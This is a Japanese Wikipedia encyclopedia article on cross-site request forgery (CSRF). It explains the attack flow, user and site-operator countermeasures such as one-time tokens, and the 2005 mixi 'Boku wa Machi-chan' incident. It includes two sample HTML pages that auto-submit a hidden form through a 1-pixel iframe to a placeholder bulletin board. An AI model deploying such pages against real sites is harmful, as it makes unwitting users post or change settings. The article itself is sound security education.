クロスサイトリクエストフォージェリ
出典: フリー百科事典『ウィキペディア(Wikipedia)』
クロスサイトリクエストフォージェリ(Cross site request forgeries, 略記:CSRF,またはXSRF)とは、WWW における攻撃手法の一つ。 具体例として、掲示板に意図しない書き込みをさせられたり、オンラインショップで買い物をさせられたりするなどの被害が起こる。また、設定用ウェブページを通して、ルーターや無線LAN等のあらゆる情報機器の設定の、意図しない変更をされる可能性もある。
mixi で2005年4月19日ごろに発生した「ぼくはまちちゃん」騒動(後述)によってその存在が広く知られることとなった。
目次 |
[編集] 原理
攻撃の大まかな流れは以下の通り。
- 攻撃者が、攻撃用の Web ページを作成して WWW 上に公開する。
- (WWW上ででなくとも、未対策のHTMLメーラーにウェブページをHTMLメールとして送信するだけでもよい。)
- 第三者が、攻撃用の Web ページにアクセスする。
- 第三者は、攻撃者が用意した任意の HTTP リクエストを送信させられる。
- 送信させられた HTTP リクエストによって、攻撃者の意図した操作が行われる。
- (ここで「第三者」とは、被攻撃サイトに意図せずアクセスさせられると言う意味で用いている。)
簡単な HTML を例示して、その原理を具体的に解説する。
- attack.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="ja">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
<meta http-equiv="Content-Script-Type" content="text/javascript">
<title>攻撃用のページ</title>
</head>
<body onLoad="document.attackform.submit();">
<form name="attackform" method="post" action="http://example.com/bbs/register.cgi">
<input type="hidden" name="title" value="攻撃者が指定した題名">
<input type="hidden" name="article" value="攻撃者が指定した本文">
<input type="submit" value="送信">
</form>
</body>
</html>
- clickme.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="ja">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
<meta http-equiv="Content-Style-Type" content="text/css">
<title>誘導用のページ</title>
</head>
<body>
<p>ようこそいらっしゃいました。<iframe width="1" height="1" src="attack.html"></iframe></p>
</body>
</html>
第三者が clickme.html にアクセスすると、以下のような流れで http://example.com/bbs/register.cgi に自動的に書き込み処理が行われる。
- clickme.html のインラインフレーム内で attack.html が呼び出される。
- attack.html の body 要素に指定された onLoad 属性により、ページが読み込まれるのと同時に、そのページ内のフォームの送信ボタンが自動的に押下される。
- http://example.com/bbs/register.cgi に自動的にアクセスが行われ、attack.html のフォーム内に指定された内容の書き込みを行う。
なお、これらの出来事はすべて clickme.html 内に存在する 1 ピクセル四方のインラインフレームで行われるため、被害者に攻撃を受けたことを気付かれにくくなっている。「ぼくはまちちゃん」騒動で使用された攻撃では、インラインフレームの代わりに img タグを利用した巧妙な偽装が行われていた。
[編集] 対策
[編集] 利用者側
CSRFによる被害を軽減するために、利用者側で出来る対策の一つは、認証手段としてのCookie の使用を最小限に留めることである。クロスサイトリクエストフォージェリの攻撃の中には、ブラウザが送信する Cookie 情報に依存しているものがあるため、Cookie をこまめに破棄することで被害を受ける可能性を少なくすることが出来る。
認証制の Web システムの中には、mixi や Wikipedia のように、Cookie を使って自動的にログインする機能を持つものがあるが、攻撃を受ける可能性を少なくするために、そのような機能を利用しないようにするか、こまめにログアウトしておくことが望ましい。
そのほか、任意の Web システムを利用している最中は、むやみに他のサイト(あらゆる情報機器の設定用ウェブページを含む)を閲覧しないようにすることも大切である。(セッション情報やcookie情報をCSRFに悪用される可能性がある。)
上記の前提として、攻撃者が用意した攻撃用の Web ページを踏まない事も重要である。(HTMLメーラーは使用しないか、イメージブロック機能などの対策を施したものを使用する。)
[編集] Webサイト管理者側
フォームを受け付けるWebサイト管理者(設定用ウェブページを用意しているあらゆる情報機器のメーカーを含む)は、下記の点について対策が必要である。
第三者が知り得ない情報をフォームに入力させる(あるいはフォームの hidden パラメータに設定しておく)というのが基本的な対策方針である。ここで利用する第三者が知り得ない情報は、推測されにくい文字列であり、かつ総当り攻撃に対して耐性がある必要がある。具体的には以下の方法が挙げられる。
- 認証情報を入力させる
- 認証制の Web システムの場合、入力フォームにユーザIDとパスワードを含めるという方法がある。システムの利用者から見れば、既にログイン画面で認証を行っているため冗長な操作であるが、クロスサイトリクエストフォージェリの対策としては最も効果がある。
- ワンタイムトークンを利用する
- 入力フォームに、第三者に推測されにくい文字列を hidden パラメータとして指定しておき、フォームの情報を受け取る段階でそのパラメータの整合性をチェックするという方法である。そのパラメータが整合性のチェックでしか使われない一時的なデータであることが多いために「ワンタイムトークン」と呼ばれる。但し、第三者が知り得ない情報として有効である限りは、必ずしも「ワンタイム」である必要は無い。
また、CAPTCHAなどが対策として挙げられる文献もあるが、このようなチューリングテストはボットによる分散・多発型攻撃への一般的な対策であり、必ずしも推測されにくい文字列であることや、総当り攻撃に対して耐性があることを保証するものではないため、CAPTCHAで表示される文字列について別途セキュリティ的な観点で評価する必要がある。
[編集] 「ぼくはまちちゃん」騒動
2005年4月中旬ごろ、SNS サイトの一つである mixi に於て、突如として「ぼくはまちちゃん! こんにちはこんにちは!!」という定型文が、投稿者の意図せぬまま書きこまれるという事態が発生した。この書き込みには別の mixi 利用者を同様の罠に誘き寄せるような細工がしてあったため、同メッセージは急速に mixi 上に溢れることとなった。利用者たちは当初、いったい何がどうしてどういったことが起こっているのかわからず、慌てることとなった。mixi 利用者の中には少なからぬ数のシステムエンジニアもいたことから、そういった利用者の間には、次第に、この混乱の原因がクロスサイトリクエストフォージェリであることがわかっていった。しかし、その後の mixi 運営当局側の対処が付け焼き刃的で抜本的なものでなかったこと[要出典]、また告知が不十分だったり不親切だったりするのではないかといった指摘があったこと[要出典]などの要因もあいまって、mixi の利用者に困惑がひろがり、ついには「セキュリティホール memo」や「IT Mediaニュース」、「インプレスwatch」などでも取りあげられるなど、 mixi の外でも話題となっていった。これが「ぼくはまちちゃん」騒動の概要である。

